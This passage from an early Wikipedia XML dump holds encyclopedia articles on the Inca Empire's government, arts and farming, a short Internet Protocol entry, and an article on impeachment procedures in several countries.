=== Political organization of the empire ===
[[Image:Ollantaytambo.jpg|thumb|200px|''[[Ollantaytambo]]'' constituted an administrative, religious, agricultural and military complex for the Incas]]
The most powerful figure in the empire was the [[Sapa Inca]] ('the unique Inca'). When a new ruler was chosen, his subjects would build his family a new royal dwelling. The former royal dwelling would remain the dwelling of the former Inca's family. Only descendants of the original Inca tribe ever ascended to the level of Inca. Most young members of the Inca's family attended [[Inca education|Yachayhuasis]] (houses of knowledge) to obtain their education.

The Tahuantinsuyu was a [[federation|federalist system]] which consisted of a central government with the Inca at its head and four provinces: [[Chinchaysuyu]] (NW), [[Antisuyu]] (NE), [[Qontisuyu]] (SW), and [[Qollasuyu]] (SE). The four corners of these provinces met at the center, Cuzco. Each province had a governor who oversaw local officials, who in turn supervised agriculturally-productive river valleys, cities and mines. There were separate chains of command for both the military and religious institutions, which created a system of partial checks and balances on power. The local officials were responsible for settling disputes and keeping track of each family's contribution to the [[Mita (Inca)|mita]] (mandatory public service).

The four provincial governors were called ''apos''. The next rank down, the ''tukuyrikuq'' (local leaders), numbered about 90 in total and typically managed a city and its hinterlands. Below them were four levels of administration: 
{|
|- align=right
!Level name !!Mita payers
|- align=right
|Hunu kuraqa    ||10,000
|- align=right
|Waranqa kuraqa ||1,000
|- align=right
|Pachaka Kuraqa ||100
|- align=right
|Chunka kamayuq ||10
|}
Every five ''waranqa curaca'', ''pachaka curaca'', and ''chunka kamayuq'' had an intermediary to the next level called, respectively, ''picqa waranqa curaca'', ''picqa pacaka curaca'', and ''picqa conka kamayoq''. This means that the middle managers managed either two or five people, while the ''conka kamayoq'' (at the worker manager level) and the ''apos'' and ''t'oqrikoq'' (in upper management) each had about 20 people reporting to them. 

The descendants of the original Inca tribe were not numerous enough to administer their empire without help. To cope with the need for leadership at all levels the Inca established a [[civil service]] system. Boys at age of 13 and girls at age of first menstruation had their intelligence tested by the local Inca officials. If they failed, their [[ayllu]] (extended family group) would teach them one of many trades, such as farming, gold working, weaving, or military skills. If they passed the test, they were sent to Cuzco to attend school to become administrators. There they learned to read the [[quipu]] (knotted cord records) and were taught Inca [[iconography]], leadership skills, religion, and, most importantly, [[mathematics]]. The graduates of this school constituted the nobility and were expected to marry within that nobility. 

While some workers were held in great esteem, such as royal [[goldsmith]]s and [[weaver]]s, they could never themselves enter the ruling classes. The best they could hope for was that their children might pass the exam as adolescents to enter the civil service. Although workers were considered the lowest social class, they were entitled to a modicum of what today we call [[due process]], and all classes were equally subject to the [[rule of law]]. For example, if a worker was accused of stealing and the charges were proven false, the local official could be punished for not doing his job properly.

&lt;!--
=== Childhood ===
Inca childhood was harsh by modern standards. When a baby was born, the Inca would wash the child in cold water and wrap it in a blanket. Soon after, the baby was put in a pit dug in the ground like a playpen. By about age one, they expected the baby to crawl and walk independently. At age two, the child was ceremonially named and were considered to have left infancy. From then on, boys and girls were expected to help around the house. Misbehaving during this time could result in very severe punishment. At age fourteen, boys received a loincloth in a [[ceremony]] to mark their [[manhood]]. Boys from noble families were subjected to many different tests of endurance and knowledge. After the test, they received earplugs and a weapon, whose color represented rank in [[society]].

This doesn't really fit into this article at the moment [[User:Zenyu|Zenyu]] 18:15, Dec 7, 2004 (UTC)
--&gt;

=== Arts ===
The Inca were a conquering society, and their expansionist assimilation of other cultures is evident in their artistic style.  The artistic style of the Inca utilized the vocabulary of many regions and cultures, but incorporated these themes into a standardized imperial style that could easily be replicated and spread throughout the empire.  The simple abstract geometric forms and highly stylized animal representation in ceramics, wood carvings, textiles and metalwork were all part of the Inca culture.  The motifs were not as revivalist as previous empires. No motifs of other societies were directly used with the exception of [[Huari]] and [[Tiwanaku]] arts.

====Architecture====
:''Main article: [[Incan architecture]]
[[Architecture]] was by far the most important of the Inca arts, with pottery and textiles reflecting motifs that were at their height in architecture. The stone temples constructed by the Inca used a mortarless construction process first used on a large scale by the [[Tiwanaku]]. The Inca imported the stoneworkers of the Tiwanaku region to Cusco when they conquered the lands south of Lake Titicaca. The rocks used in construction were sculpted to fit together exactly by repeatedly lowering a rock onto another and carving away any sections on the lower rock where the dust was compressed. The tight fit and the concavity on the lower rocks made them extraordinarily stable in the frequent earthquakes that strike the area. The Inca used straight walls except on important religious sites and constructed whole towns at once. 

The Inca also sculpted the natural surroundings themselves. One could easily think that a rock along an [[Inca road system|Inca trail]] is completely natural, except if one sees it at the right time of year when the sun casts a stunning shadow, betraying its synthetic form. The [[Inca rope bridge]]s were also used to transport messages and materials by [[Chasqui]] running messengers. The Inca also adopted the terraced agriculture that the previous [[Huari]] civilization had popularized. But they did not use the terraces solely for food production.  At the Inca ''tambo'', or inn, at [[Ollantaytambo]] the terraces were planted with flowers, extraordinary in this parched land.  

The terraces of Moray were left unirrigated in a desert area and seem to have been solely decorative. The Inca provincial thrones were often carved into natural outcroppings, and there were over 360 natural springs in the areas surrounding Cusco, such as the one at Tambo Machay. At Tambo Machay the natural rock was sculpted and stonework was added, creating alcoves and directing the water into fountains. These pseudo-natural carvings functioned to show both the Inca's respect for nature and their command over it.

==== Clothing ====
[[Image:Tupa-inca-tunic.png|thumb|300px|Inca tunic]]
Inca officials wore stylized [[tunic]]s that indicated their status. The tunic displayed here is the highest status tunic known to exist today. It contains an amalgamation of motifs used in the tunics of particular officeholders. For instance, the black and white [[checkerboard]] pattern topped with a red triangle is believed to have been worn by soldiers of the Inca army. Some of the motifs make reference to earlier cultures, such as the stepped diamonds of the [[Huari]] and the three step stairstep motif of the [[Moche]]. In this royal tunic, no two squares are exactly the same.

Cloth was divided into three classes. ''Awaska'' was used for household use, having an approximate [[threadcount]] of about 120 [[threads per inch]]. Finer cloth, ''qunpi'', was divided into two classes: The first, woven by male ''qunpikamayuq'' (keepers of fine cloth), was collected as tribute from throughout the country and was used for trade, to adorn rulers and to be given as gifts to political allies and subjects to cement loyalty. The other class of ''qunpi'' ranked highest. It was woven by ''aqlla'' (female virgins of the sun god temple) and used solely for royal and religious use. These had threadcounts of 600 or more per inch, unsurpassed anywhere in the world, until the [[Industrial Revolution]] of the 19th century.

Aside from the tunic, a person of importance wore a ''[[llawt'u]]'', a series of cords wrapped around the head. To establish his importance, the Inca [[Atahualpa]] commissioned a ''llawt'u'' woven from vampire bat hair. The leader of each [[ayllu]], or extended family, had its own headdress. 

In conquered regions, traditional clothing continued to be worn, but the finest weavers, such as those of [[Chan Chan]], were transferred to Cusco and kept there to weave ''qunpi''. (The [[Chimu|Chimú]] had previously transferred these same weavers to Chan Chan from [[Sican]].)

The wearing of [[jewellery]] was not uniform throughout the empire. Chimú [[artisan]]s, for example, continued to wear [[earrings]] after their integration into the empire, but in many other regions, only local leaders wore them.

==== Ceramics and metalwork ====
Ceramics were for the most part utilitarian in nature, but also incorporated the imperialist style that was prevalent in the Inca textiles and metalwork.  In addition, the Inca played drums and on woodwind instruments including [[flute]]s, [[pan-pipe]]s and [[trumpet]]s made of shell and ceramics.

The Inca made beautiful objects of gold. But precious metals were in much shorter supply than in earlier Peruvian cultures. The Inca metalworking style draws much of its inspiration from [[Chimú]] art and in fact the best metal workers of [[Chan Chan]] were transferred to Cusco when the Kingdom of [[Chimor]] was incorporated into the empire. Unlike the Chimú, the Inca do not seem to have regarded metals to be as precious as fine cloth. When the Spanish first encountered the Inca they were offered gifts of ''qunpi'' cloth.

=== Education ===
[[Image:Quipu.png|thumb|200px|Representation of an Incan quipu]]
''Main article: [[Inca education]]''

The Inca used [[quipu]], knotted cords, for accounting and census purposes.  Most of the information on the quipus has been shown to be numeric data; some numbers seem to have been used as mnemonic labels, and the color, spacing, and structure of the quipu carried information as well.  Since it isn't known how to interpret the coded or non-numeric data, some scholars still hope to find that the quipu recorded language.  

Like the [[Aztec]], they also depended largely on oral transmission as a means of maintaining the preservation of their culture. Inca education was divided into two distinct categories: vocational education for common Inca and highly formalized training for the nobility.

=== Religion ===
''Main article: [[Inca religion]]''
''Other article: [[Inca mythology]]''

The [[Tahuantinsuyu, Religion|Incan religion]] was polytheistic (sun god, earth goddess, corn god, etc.). Subjects of the empire were allowed to worship their ancestral gods as long as they accepted the supremacy of [[Inti]], the sun god, which was the most important god worshipped by the Inca leadership. Consequently, [[ayllu]]s (extended families) and [[city-state]]s integrated into the empire were able to continue to worship their ancestral gods, though with reduced status.

Much of the contact between the upper and lower classes was religious in nature and consisted of intricate ceremonies that sometimes lasted from sunrise to sunset.

=== Medicine ===
The Inca made many discoveries in medicine. They performed successful [[Trephinning in pre-Columbian Mesoamerica|skull surgery]], which involved cutting holes in the skull to release pressure from head wounds. [[Coca]] leaves were used to lessen hunger and pain, as they still are in the Andes. The [[Chasqui]] (messengers) chewed coca leaves for extra energy to carry on their tasks as runners delivering messages throughout the empire. Recent research by Erasmus University and Medical Center workers Sewbalak and Van Der Wijk showed that, contrary to popular belief, the Inca people were not addicted to coca. Another remedy was to cover boiled bark from a pepper tree and place it over a wound while still warm. The Inca also used guinea pigs not only for food but for a so-called well-working medicine.

=== Burial practices ===
The Inca believed in [[reincarnation]]. Those who obeyed the Incan moral code &amp;mdash; ''ama suwa, ama llulla, ama quella'' (do not steal, do not lie, do not be lazy) &amp;mdash; went to live in the Sun's warmth. Others spent their eternal days in the cold earth. 

The Inca also believed in [[mummy|mummifying]] prominent personages. The mummies would be provided with an assortment of objects which were to be taken into the [[pacarina]]. Upon reaching the pacarina, the mummies or [[mallqui]] would be able to converse with the area's other ancient ancestors, the [[huacas]]. The mallquis were also used in various rituals or celebrations. The deceased were generally buried in a sitting position. One such example was the 500-year-old mummy [[Mummy Juanita|&quot;Juanita the Ice Maiden&quot;]], a girl very well-preserved in ice that was discovered at 20,000 feet, near the summit of [[Mt. Ampato]] in Southern Peru. Her burial included many items left as offerings to the Inca gods.

=== Other practices ===
The Inca practiced '''cranial deformation'''. They achieved this by wrapping tight cloth straps around the heads of newborns in order to alter the shape of their still-soft skulls. These deformations did not result in brain damage. Researchers from [http://www.fieldmuseum.org/machupicchu/ The Field Museum] believe that the practice was used to mark different ethnicities across the Inca Empire.[http://www.fieldmuseum.org/machupicchu/ongoing.html]

=== Food and farming ===
[[Image:Peruvian potatoes.jpg|left|thumb|200px|Around 200 varieties of Peruvian potatoes were all first cultivated by the Incas and their predecessors]]
It is estimated that the Inca cultivated around seventy crop species. The main crops were [[potato|potatoes]], [[sweet potato|sweet potatoes]], [[maize]], [[Chile pepper|chili peppers]], [[cotton]], [[tomato|tomatoes]], [[peanut|peanuts]], an edible root called [[oca]], and grains known as [[quinoa]] and [[amaranth]]. The many important crops developed by the Inca and preceding cultures makes South America one of the historic centers of crop diversity (along with the [[Middle East]], [[India]], [[Mesoamerica]], [[Ethiopia]], and the [[Far East]]). Many of these crops were widely distributed by the Spanish and are now important crops worldwide. 
[[Image:Peruvian corn.jpg|thumb|200px|Many varieties of Peruvian maize (corn) were well-known to the Incas for centuries]]
The Inca cultivated food crops on dry Pacific coastlines, high on the slopes of the Andes, and in the lowland [[Amazon rainforest]]. In mountainous Andean environments, they made extensive use of [[Terrace (agriculture)|terraced]] fields which not only allowed them to put to use the mineral-rich mountain soil which other peoples left fallow, but also took advantage of micro-climates conducive to a variety of crops being cultivated throughout the year. Agricultural tools consisted mostly of simple [[digging stick]]s. 

The Inca also raised [[llama]]s and [[alpaca]]s for their wool and meat and to use them as pack animals, and captured wild [[vicuña]]s for their fine hair.  

The [[Inca road system]] was key to farming success as it allowed distribution of foodstuffs over long distances. The Inca also constructed vast storehouses, which allowed them to live through [[El Niño]] years in style while neighboring civilizations suffered. 

Inca leaders kept records of what each ''ayllu'' in the empire produced, but did not tax them on their production. They instead used the ''mita'' for the support of the empire.

The Inca diet consisted primarily of fish and vegetables, supplemented less frequently with the meat of [[guinea pig|cuy]]es (guinea pigs) and camelids. In addition, they hunted various animals for meat, skins and feathers.  Maize was used to make [[chicha]], a fermented [[beverage]].  
&lt;!--
=== Currency ===
Inca society was based on a [[barter]] system. Workers got labor credit, which was work paid for in goods or food. It was well used in their day. It was a very good system for their needs

W don't know this, we have yet to decipher their accounting system. But its very existence makes barter seem quaint; They may very well have had a credit based system. ...
[[User:Zenyu|Zenyu]] 18:42, Dec 7, 2004 (UTC) --&gt;

== References in popular culture ==
* The Disney movie ''[[The Emperor's New Groove]]'' follows the adventures of a greedy emperor of a fictitious mountainous [[South American]] empire. While no direct reference is made to the Incas, the Emperor, Sun Symbols (signifying sun worship), architecture, [[fountain]]s, road/bridge system, and llamas as beast of burden are all indicative of the Incan Empire. Also, the Emperor's name is '''Kuzco''', an alternate spelling of Cuzco or Cusco, and the other main character, a wise farmer, is named '''Pacha''', which is Quechua for earth or land.

==Notes==
*{{fnb|1}} Before the official orthography, during the use of hispanic spellings, it was written as ''tahuantinsuyo''. See: [[Quechuan and Aymaran spelling shift]]
*{{fnb|2}} '''Tawantin suyu''' derives from the Quechua &quot;tawa&quot; (''four'') , to which the sufix &quot;-ntin&quot; (''together'' or ''united'') is added, followed by &quot;suyu&quot; (''region'' or ''province''), which roughly renders as &quot;''The land of the four parts together''&quot;.

== See also ==
* [[Cultural periods of Peru]]
* [[History of Peru]]
* [[Spanish conquest of Peru]]
* [[El Inca Garcilaso de la Vega]]
* [[Guaman Poma | Felipe Guaman Poma de Ayala]]

== References ==
* {{cite book
 | title = Andean Worlds
 | first = Kenneth | last = Andrien
 | authorlink = Kenneth Andrien
 | year = 2001
 }}
* {{cite book
 | title = Conquest of the Incas
 | first = John | last = Hemming
 | authorlink = John Hemming (explorer)
 | year = 1970
 }}
* {{cite book
 | title = Art of the Andes, from Chavin to Inca
 | first = Rebecca | last = Stone-Miller
 | authorlink = Rebecca Stone-Miller
 | year = 1995
 }}

== External links ==
*[http://www.geocities.com/architecture_aztec_america/america_inca_1.htm Inca Architecture]
*[http://www.kb.dk/elib/mss/poma/ Nueva corónica y buen gobierno] by Guaman Poma (published 1615 CE)
*[http://www.kellscraft.com/IncaLand/incalandscontents.html Inca Land] by [[Hiram Bingham III|Hiram Bingham]] (published 1912-1922 CE)
*[http://www.jqjacobs.net/andes/tupac_amaru.html Tupac Amaru], the Life, Times, and Execution of the Last Inca.
*[http://www.destination360.com/peru/machu-picchu.php Inca Artifacts, Peru, and Machu Picchu] 360 degree movies of inca artifacts and peruvian landscapes.
*[http://www.lost-civilizations.net/ancient-civilizations.html Inca civilization] and other ancient civilizations by Genry Joil.
*[http://www.davideandrea.com/personal/ideas/inca_stones/index.html Inca stone cutting techniques]: theory on how the Inca walls fit so perfectly.
*[http://www.projectshum.org/Ancient/inca.html Ancient Civilizations - Inca] Great research site for kids.

[[Category:Former countries in South America]]
[[Category:History of Peru]]
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[[Category:Inca]]
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    <title>Inka</title>
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        <username>Dryazan</username>
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      <comment>[[WP:WS|Please return the favour by clicking here to fix someone else's Wiki syntax]]</comment>
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    <title>Inca (disambiguation)</title>
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      <comment>Added &quot;Inca (game)&quot;</comment>
      <text xml:space="preserve">*'''[[Sapa Inca]]''' (or &quot;Inka&quot;) was the title of the main ruler of [[Tawantinsuyu]], or [[Inca Empire]].
*[[Inca, Spain]] is a town on the [[island]] of [[Majorca]] in the [[Mediterranean Sea]].
*[http://www.inca.org.br/ INCA] is a [[Brazil]]ian association against [[cancer]].
*'''[[Inca Kola]]''' is popular carbonated [[soft drink]] in [[Peru]]. It is fluorescent yellow and flavored with lemon grass.
*[[Inca (game)|Inca]] is an adventure game by [[Coktel Vision]] published by [[Sierra Entertainment]].

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    <title>Internet Protocol</title>
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      <text xml:space="preserve">{{IPstack}}
&lt;!-- Edit the stack image at: Template:IPstack --&gt;

The '''Internet Protocol''' ('''IP''') is a data-oriented protocol used by source and destination [[server|hosts]] for communicating data across a [[packet-switched]] [[internetwork]].

Data in an IP internetwork are sent in blocks referred to as [[packet]]s or [[datagram]]s (the terms are basically synonymous in IP). In particular, in IP no setup of &quot;path&quot; is needed before a host tries to send packets to a host it has previously not communicated with.

The Internet Protocol provides an ''unreliable'' datagram service (also called ''best effort''); i.e. it makes almost no guarantees about the packet. The packet may arrive damaged, it may be out of order (compared to other packets sent between the same hosts), it may be duplicated, or it may be dropped entirely. If an [[application software|application]] needs reliability, it is provided by other means, typically by upper level protocols transported on top of IP.

Internetwork [[router]]s forward IP datagrams across interconnected [[layer 2]] networks. The lack of any delivery guarantees means that the design of packet switches is made much simpler. (Note that if the network does drop, reorder or otherwise damage a lot of packets, the performance seen by the user will be poor, so most network elements do try hard to not do these things - hence the ''best effort'' term. However, an occasional error will produce no noticeable effect.)

IP is the common element found in today's public [[Internet]]. The current and most popular network layer protocol in use today is [[IPv4]]; this version of the protocol is assigned version 4. [[IPv6]] is the proposed successor to IPv4: the Internet is slowly running out of IPv4 addresses, as IPv4 uses 32 bits for addressing (giving ~4 billion addresses); IPv6 uses 128 bits for the source and destination addresses, providing a maximum of ~3.4&amp;times;10&lt;sup&gt;38&lt;/sup&gt; addresses (though see the IPv6 article for details). Versions 0 through 3 were either reserved or unused. Version 5 was used for an experimental stream protocol. Other version numbers have been assigned, usually for experimental protocols, but have not been widely used.

== IP addressing and routing ==

Perhaps the most complex aspects of IP are addressing and [[routing]].  Addressing refers to how end hosts become assigned [[IP address]]es and how subnetworks of IP host addresses are divided and grouped together.  IP routing is performed by all hosts, but most importantly by internetwork routers, which typically use either [[interior gateway protocol]]s (IGPs) or [[external gateway protocol]]s (EGPs) to help make '''IP datagram''' forwarding decisions across IP connected networks.

== See also ==

* [[Connectionless protocol]]
* [[Internet protocol suite]]
* [[IPv4]]
* [[IPv6]]
* [[IP address]]
* [[Packet#IP_packets|IP packet]]
* [[TCP and UDP port numbers]]
* [[IANA]]

== External links ==

* RFC 791, [http://www.rfcsearch.org/rfcview/RFC/791.html RFC791 in html]
* [http://www.iana.org Internet Assigned Numbers Authority (IANA)]

[[Category:Internet protocols| ]]
[[Category:Internet standards]]
[[Category:Internet architecture]]
[[Category:Computer networks]]
[[Category:Information technology]]

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    <title>Impeachment</title>
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      <text xml:space="preserve">:''This article is about the concept of impeachment of political figures; for the concept of casting doubt on the testimony of a [[witness]] at [[trial (law)|trial]], see [[Witness impeachment]]''.

[[Image:3a05488v.jpg|thumb|300px|Depiction of the impeachment trial of [[Andrew Johnson]], then President of the [[United States]], in 1868.]]
'''Impeachment''' is the process by which a legislative body formally levels charges against a high official of [[government]].  Impeachment does not necessarily mean removal from office; it comprises only a formal statement of charges, akin to an [[indictment]] in [[criminal law]], and thus is only the first step towards possible removal. Once an individual is impeached, he or she must then face the possibility of conviction via legislative vote, which then entails the removal of the individual from office.

Conviction of officials involves an overturning of the normal [[constitution]]al procedures by which individuals achieve high office, whether by [[election]], [[ratification]] or [[appointment]], and because it generally requires a [[supermajority]], typically only those deemed to have seriously abused their offices will suffer impeachment.  

One tradition of impeachment has its origins in the [[English law | law of England and Wales]], where the procedure last took place in [[1806]].  Impeachment exists under constitutional law in many nations around the world, including the [[United States]], [[Brazil]], [[Russia]], the [[Philippines]] and the [[Republic of Ireland]].

Etymologically, the word &quot;impeachment&quot; derives from Latin roots expressing the idea of becoming caught or entrapped, and has analogues in the modern French verb ''empêcher'' (to prevent) and the modern English ''impede''. Mediaeval popular etymology also associated it (wrongly) with derivations from the Latin ''impetere'' (to attack). Impeachment of a [[witness]] means challenging his or her honesty or credibility.

==United Kingdom==
===Procedure===
In the [[United Kingdom]], the [[British House of Commons|House of Commons]] holds the power of initiating an impeachment. Any member may make accusations of [[high treason]] or [[high crimes and misdemeanours]]. The member must support the charges with evidence and [[motion (democracy)|move]] for impeachment. If the Commons carries the motion, the mover receives orders to go to the bar at the [[House of Lords]] and to impeach the accused &quot;in the name of the House of Commons, and all the commons of the United Kingdom.&quot;

The mover must tell the Lords that the House of Commons will, in due time, exhibit particular articles against the accused, and make good the same. The Commons then usually selects a committee to draw up the charges and create an &quot;Article of Impeachment&quot; for each. (In the case of [[Warren Hastings]], however, the drawing up of the articles preceded the formal impeachment.) Once the committee has delivered the articles to the Lords, replies go between the accused and the Commons via the Lords. If the Commons have impeached a peer, the Lords take custody of the accused, otherwise custody goes to [[Black Rod]]. The accused remains in custody unless the Lords allow bail. The Lords set a date for the trial while the Commons appoints managers, who act as prosecutors in the trial. The accused may defend by [[counsel]].

The [[House of Lords]] hears the case, with the [[Lord Chancellor]] presiding (or the [[Lord High Steward]] if the impeachment relates to a [[peerage|peer]] accused of high treason.) The hearing resembles an ordinary trial: both sides may call witnesses and present evidence. At the end of the hearing the Lord Chancellor puts the question on the first article to each member in order of seniority, commencing with the most junior peer, and ending with himself, and after all have voted, proceeds to deal with any remaining articles similarly. Upon being called, a Lord must rise and declare upon his honour, &quot;Guilty&quot; or &quot;Not Guilty&quot;. After voting on all of the articles has taken place, and if the Lords find the defendant guilty, the Commons may move for judgment; the Lords may not declare the punishment until the Commons have so moved. The Lords may then provide whatever punishment they find fit, within the law. A Royal [[Pardon]] cannot excuse the defendant from trial, but a Pardon may reprieve a convicted defendant.

===History===
Parliament has held the power of impeachment since mediæval times. Originally, the House of Lords held that impeachment could only apply to members of the [[peerage]] (nobles), as the nobility (the Lords) would try their own peers, while commoners ought to try  ''their'' peers (other commoners) in a [[jury]]. However, in 1681, the Commons declared that they had the right to impeach whomsoever they pleased, and the Lords have respected this resolution.

After the reign of [[Edward IV of England | Edward IV]], impeachment fell into disuse, the [[bill of attainder]] becoming the preferred form of dealing with undesirable subjects of the Crown. However, during the reign of [[James I of England|James I]] and thereafter, impeachments became more popular, as they did not require the assent of the Crown, while bills of attainder did, thus allowing Parliament to resist royal attempts to dominate Parliament. The most recent cases of impeachment dealt with [[Warren Hastings]],  Governor-General of India between 1773 and 1786 (impeached in 1788; the Lords found him not guilty in 1795), and [[Henry Dundas, 1st Viscount Melville]], [[First Lord of the Admiralty]], in 1806 (acquitted). The last attempted impeachment occurred in [[1848]], when [[David Urquhart]] accused [[Viscount Palmerston]] of having signed a secret treaty with [[Imperial Russia]] and of receiving monies from  the [[Nicholas I of Russia |Tsar]]. Palmerston survived the vote in the Commons; the Lords did not hear the case.

===Impeachment in modern politics===
The procedure has, over time, become rarely used and some legal authorities (such as [[Halsbury's Laws of England]]) consider it to be probably obsolete. The principles of &quot;responsible government&quot; require that the [[Prime Minister of the United Kingdom|Prime Minister]] and other executive officers answer to Parliament, rather than to the Sovereign. Thus the Commons can remove such an officer without a long, drawn-out impeachment. However, it is argued by some that the remedy of impeachment remains as part of British constitutional law, and that legislation would be required to abolish it. Furthermore, impeachment as a means of punishment for wrongdoing, as distinct from being a means of removing a minister, remains a valid reason for accepting that is continues to be available, at least in theory.

In April 1977 the [[Young Liberals]]' annual conference unanimously passed a motion to call on the [[Liberal Party (UK) | Liberal]] leader ([[David Steel]]) to move for the impeachment of [[Ronald King Murray]] QC, the [[Lord Advocate]]. Mr. Steel did not call the motion but Murray (now Lord Murray, a former [[List of Senators of the College of Justice|Senator of the College of Justice]] of Scotland) agrees that the Commons still have the right to initiate an impeachment motion. On [[25 August]] [[2004]], [[Plaid Cymru]] MP [[Adam Price]] announced his [[Impeach Blair campaign|intention to move for the impeachment]] of [[Tony Blair]] for his role in involving Britain in the [[2003 invasion of Iraq]]. In response [[Peter Hain]], the [[Leader of the House of Commons|Commons Leader]], insisted that impeachment was obsolete, given modern government's responsibility to parliament. Ironically, [[Peter Hain]] had served as president of the Young Liberals when they called for the impeachment of Mr. Murray in 1977.

In 2006 [[General]] [[Sir]] [[Hugh Michael Rose|Michael Rose]] revived the call for the impeachment of [[British]] [[Prime Minister]] [[Tony Blair]] for leading the country into the [[invasion of Iraq]] in 2003 under false pretenses.''''''

==United States==
{{main|Impeachment in the United States}}
[[Image:Senate in session.jpg|thumb|300px|The impeachment trial of [[Bill Clinton|President Bill Clinton]] in 1999, [[William H. Rehnquist|Chief Justice William H. Rehnquist]] presiding. The House managers are seated beside the quarter-circular tables on the left and the president's personal counsel on the right, much in the fashion of President Andrew Johnson's trial.]]
In the [[United States]], impeachment can occur both at the federal and state level. At the federal level, both the [[executive branch]] and the [[judiciary]] may be impeached, though different standards apply.  For the executive branch, only those who have allegedly committed &quot;[[treason]], [[bribery]], or other high crimes and misdemeanors&quot; may be impeached.  Although treason and bribery are obvious, the [[United States Constitution|Constitution]] is silent on what constitutes a &quot;high crime.&quot;  Several commentators have suggested that [[Congress]] alone may decide for itself what constitutes an impeachable offense.

The standard for impeachment among the judiciary is much broader.  Article III of the Constitution states that judges remain in office &quot;during good behavior,&quot; implying that Congress may remove a judge for bad behavior.

Members of Congress themselves are not subject to impeachment.  However, the House of Representatives and the Senate have the authority to discipline and expel their own members.

The procedure is in two steps. The [[United States House of Representatives|House of Representatives]] must first pass &quot;articles of impeachment&quot; by a simple majority. All fifty state legisatures as well as the [[District of Columbia]] city council may also pass articles of impeachment. The articles of impeachment constitute the formal allegations.  Upon their passage, the defendant has been &quot;impeached.&quot;

Next, the [[United States Senate|Senate]] tries the accused. In the case of the impeachment of a President, the [[Chief Justice of the United States]] presides over the proceedings. Otherwise, the [[Vice President of the United States|Vice President]], in his capacity of President of the Senate, or the [[President Pro Tempore of the United States Senate|President ''pro tempore'' of the Senate]] presides. This would include the impeachment of the Vice President him- or herself. In order to convict the accused, a [[two-thirds majority]] of the senators present is required. 

Following conviction, the Senate may vote to punish the individual only by removing him from office, or by barring him from holding future office, or both. Alternatively, it may impose no punishment. However in the case of executive officers, removal follows automatically upon conviction. The defendant remains liable to criminal prosecution.  It is possible to impeach someone even after the accused has vacated his office in order to disqualify the person from such emoluments of office as a pension.

Congress regards impeachment as a power to be used only in extreme cases; the House has initiated impeachment proceedings only 62 times since [[1789]] (most recently Bill Clinton), and only the following 16 federal officers have been impeached. Many mistakenly assume [[Richard Nixon]] was impeached, but he resigned prior to the House's action in the face of the near certainty of both his impeachment by the House of Representatives and his conviction by the Senate: 
* [[Associate Justice]] [[Samuel Chase]] in 1804
* [[President Bill Clinton]] was [[impeached]] on [[December 19]], [[1998]] by the [[United States House of Representatives|House of Representatives]] on grounds of [[perjury]] to a [[grand jury]] (by a 228-206 vote) and [[obstruction of justice]] (by a 221-212 vote). Two other articles of impeachment failed &amp;mdash; a second count of [[perjury]] in the Jones case (by a 205-229 vote), and one accusing Clinton of [[abuse of power]] (by a 148-285 vote) was acquitted by the Senate.
* [[President Andrew Johnson]] in [[1868]].  President Johnson was acquitted of all charges by a single vote in the [[Senate]].
* one [[cabinet]] officer
* one [[Senator]]
* eleven other [[federal judge]]s.

==Republic of Ireland==

In the [[Republic of Ireland]] formal impeachment can apply only to the [[President of Ireland|President]]. Article 12 of the [[Constitution of Ireland]] provides that, unless judged to be &quot;permanently incapacitated&quot; by the [[Irish Supreme Court|Supreme Court]], the president can only be removed from office by the houses of the [[Oireachtas]] (parliament) and only for the commission of &quot;stated misbehaviour&quot;. Either house of the Oireachtas may impeach the president, but only by a resolution approved by a majority of at least two-thirds of its total number of members; and a house may not consider a proposal for impeachment unless requested to do so by at least thirty of its number. 

Where one house impeaches the president, the remaining house either investigates the charge or commissions another body or committee to do so. The investigating house can remove the president if it decides, by at least a two-thirds majority of its members, both that she is guilty of the charge of which she stands accused, and that the charge is sufficiently serious as to warrant her removal. To date no impeachment of an Irish president has ever taken place. The president holds a largely ceremonial office, the dignity of which is considered important, so it is likely that a president would resign from office long before undergoing formal conviction or impeachment.

The Republic's constitution and law also provide that only a joint resolution of both houses of the Oireachtas may remove a judge. Although often referred to as the 'impeachment' of a judge, this procedure does not technically involve impeachment.

==Other jurisdictions== 
*'''Austria''': The [[President of Austria|Austrian Federal President]] can be impeached by the [[Federal Assembly of Austria|Federal Convention]] (''Bundesversammlung'') before the Constitutional Court. The constitution also provides for the recall of the president by a [[referendum]]. Neither of these courses has ever been taken.

*'''Brazil''': The President of Federative Republic of [[Brazil]] can be impeached. This happened to [[Fernando Collor de Mello]], due to evidences of bribery and misappropriation.

*'''Germany''': The [[President of Germany|Federal President of Germany]] can be impeached by the [[Bundestag]] for willfully violating German law. Once the Bundestag impeaches the president, the Federal Constitutional Court decides whether to remove him or her from office. No such case has yet occurred.

*'''Norway''': Members of government, representatives of the national assembly  (Stortinget) and Supreme Court judges can be impeached for criminal offences tied to their duties and committed in office, according to th Constitution of 1814, §§ 86 and 87. The procedural rules were modelled on the US rules and are quite similar to them. Impeachment has been used 8 times since 1814, last in 1927. Many argue that impeachment has fallen into [[desuetude]].

===Presidents, who were removed from office following impeachment===
* [[Fernando Collor de Mello]], president of [[Brazil]] was impeached in [[1992]], and this led to his resignation.
* [[Carlos Andrés Pérez]], president of [[Venezuela]], was impeached in [[1993]].
* [[Raúl Cubas Grau]], president of [[Paraguay]], was impeached in [[1999]].
* [[Joseph Estrada]], president of the [[Philippines]], was impeached on [[November 13]], [[2000]] and led to his resignation on [[January 20]], [[2001]].  
* [[Roh Moo-hyun]], president of [[South Korea]], was impeached on [[March 12]], [[2004]]; Korea's Constitutional Court overturned the decision on [[May 14]], [[2004]].
* [[Rolandas Paksas]], president of [[Lithuania]], was impeached on [[April 6]], [[2004]].

[[Category:Constitutional law]]

[[bg:Импийчмънт]]
[[ca:Moció de censura]]
[[de:Impeachment]]
[[es:Impeachment]]
[[fr:Impeachment]]
[[id:Impeachment]]
[[it:Impeachment]]
[[nl:Impeachment]]
[[ja:弾劾裁判]]
[[ko:탄핵]]
[[pl:Impeachment]]
[[pt:Impeachment]]
[[th:การถอดถอนจากตำแหน่ง]]</text>
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  </page>
  <page>
    <title>Information Technology</title>
    <id>15330</id>
    <revision>
      <id>15912807</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Information_technology]]
</text>
    </revision>
  </page>
  <page>
    <title>Information space</title>
    <id>15331</id>
    <revision>
